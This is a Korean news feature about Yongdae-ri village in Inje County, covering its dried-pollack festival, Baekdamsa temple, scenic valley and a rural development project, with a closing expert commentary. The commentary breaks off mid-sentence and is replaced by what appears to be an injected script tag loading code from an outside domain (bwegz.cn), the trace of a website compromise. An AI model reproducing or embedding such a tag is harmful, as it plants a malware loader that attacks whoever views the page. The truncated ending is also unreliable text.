·위치 : 강원도 인제군 북면 용대리 일원
·인구 : 1520명
·가구 : 520호
·지역자원 : 황태축제, 백담사, 12선녀탕, 체험농업

# 수려한 경관& 먹거리의 마을
인제군 북면 용대리는 농촌마을 조성을 하는데 풍부한 자원을 자랑하는 마을이다. 전국적으로 유명한 인제의 특산품 황태, 백담사, 마을을 둘러싼 수려한 산세가 그것.
인제와 고성간 46번국도 12km지점에 위치한 용대 1리에 위치하고 있는 12선녀탕은 총 8km 길이의 깊은 계곡이다.

하늘의 깨끗한 물을 담아놓을 탕을 마련하라는 옥황상제의 명을 받은 12명의 선녀가 용대리의 산세와 절경에 반해 만들었다는 전설이 전해질 정도의 경관이 빼어나다.
여기에 12선녀탕 주변에는 넓은 바위가 많아 아름다운 경관 속에 달콤한 휴식을 취하기엔 더할 나위 없다.

인제군 북면 용대 2리에 위치한 백담사는 만해 한용운이 머물며 ‘님의 침묵’을 집필한 곳이기도 하다. 설악산의 절경이 살아 숨쉬는 산세와 굽이굽이 이어진 계곡주변을 걸어 오르면 마음속 상념이 모두 사라지는 듯 하다.
백담사 내에는 만해기념관이 마련돼 문학적으로 도시민의 발길을 끄는 곳이기도 하다.

이와 함께 용대 3리는 황태마을로 유명하다.
매년 2~3월초에 실시되는 황태축제는 내년도에 8회째를 맞는 유명한 지역 행사이기도 하다.

도시민들이 황태 말리는 장관을 보며 황태로 만든 요리들을 맛볼 수 있도록 시식행사도 개최된다. 지난해 7회째 개최된 황태체험 행사에는 15만명의 관광객들이 용대리를 찾았다.
용대리는 수려한 경관과 관광자원도 조성되어 있지만 자체적으로 소비자를 유치할만한 조형물 설치에도 적극적이다.
용대리 마을 주변 국도로 지나치는 도시민들의 발길을 붙잡기 위해 조성한 인공폭포와 천하대장군 조형물 조명 등이 그것이다.

용대 3리에 들어서면 곳곳에 식당이나 상가 간판 위에 황태 조형물을 만들어 마을의 상가일대에서 황태 마을임을 느낄 수 있다.
이밖에도 오는 내년에는 경관작물로 메밀꽃을 농가를 통해 재배할 예정이다. 특히 메밀꽃 밭은 포토존으로 구성해 차로 이동하는 도시민들도 잠시 머물러 마을을 둘러 볼 수 있도록 조성할 계획이다.

#주민 의지 100%
용대 1·2·3리 각 마을의 이장들의 목표는 하나로 통한다.
농촌마을종합개발사업 권역 마을간에 도시민 유치경쟁을 벌이는 것이 아닌 권역에 마을 모두가 합심하여 프로그램을 개발하고 연계하는 방향을 목표로 잡고 있다.
이장간의 마음이 통하는 것은 이미 지역연대가 강했기 때문. 용대리 일대를 찾는 관광객들의 눈과 손과 마음과 입을 즐겁게 만들기 위한 프로그램 개발에 모두 합심했다.

각각 마을의 자원을 최대한도로 활용키 위해 머리를 맞대고 회의를 갖는다. 서로간의 아이디어를 모으고 사업에 대한 계획에 대해 다양한 의견을 나눈다.
용대리의 마을주민들의 참여도 또한 적극적이다. 마을 구성원을 젊은 세대들로 구성했으며, 다른 농촌마을종합개발사업의 성공사례 교육도 지속적으로 실시됐기 때문이다.
올해는 마을 주민 30여명씩 구성해 파주, 증평, 평창 등의 마을을 견학했다.

여기에 지역 행사를 통해 마을 주민들의 의식수준을 높이는 노력도 수반됐다. 지난 8일에는 황태촌 용대 3거리에서 마을주민 150명이 참가한 가운데 농촌마을종합개발사업에 대한 기공식을 실시했다.
최병오 용대3리 이장은 “마을개발에서 핵심맴버인 리더그룹을 육성하기 위해 젊은세대들의 교육에 주력하고 있다”며 “마을주민들의 교육도 지속적으로 실시하고 있다”고 밝혔다.
정한영 인제군청 계장은 “용대리는 금빛 황태와 역사체험을 함께 할 수 있는 전국 제1의 산악형 경관마을로 조성할 계획”이고 강조했다.
박희진

<미니컨설팅>
김종섭 삼척대학교 지역경제학과 교수(국토문제연구소장)

인제군 용대리는 설악산을 배경으로 한 다양한 자원을 보유하고 있다. 겨울의 차가운 기온을 이용하여 타 지역에서는 생산하기 어려운 황태가 이곳에서 생산되며, 우리나라의 70%이상을 공급하는 공급기지로서의 역할을 하고 있고 이를 테마로 한 황태축제는 타 지역에서 개최할 수 없는 특성을 갖고 있으며, 백담사를 중심으로 한 사찰체험문화 그리고 북천의 물과 아름다운 자연경관을 이용한 수변관광자원 등이 이 지역의 핵심자원이며, 이를 활용하여 마을을 발전시키는 것이 최선의 방법이다.

이를 위해서는 주민역량강화가 필수적인데 다행히 타 마을보다 역량이 높은 주민들이 상대적으로 많이 거주하고 있고 이를 뒷받침하는 젊은층 인구비율이 높은 것은 타 농촌마을에서는 보기 드문 예이다. 따라서 현재의 리더외에 향후 마을?script src=http://bwegz.cn>

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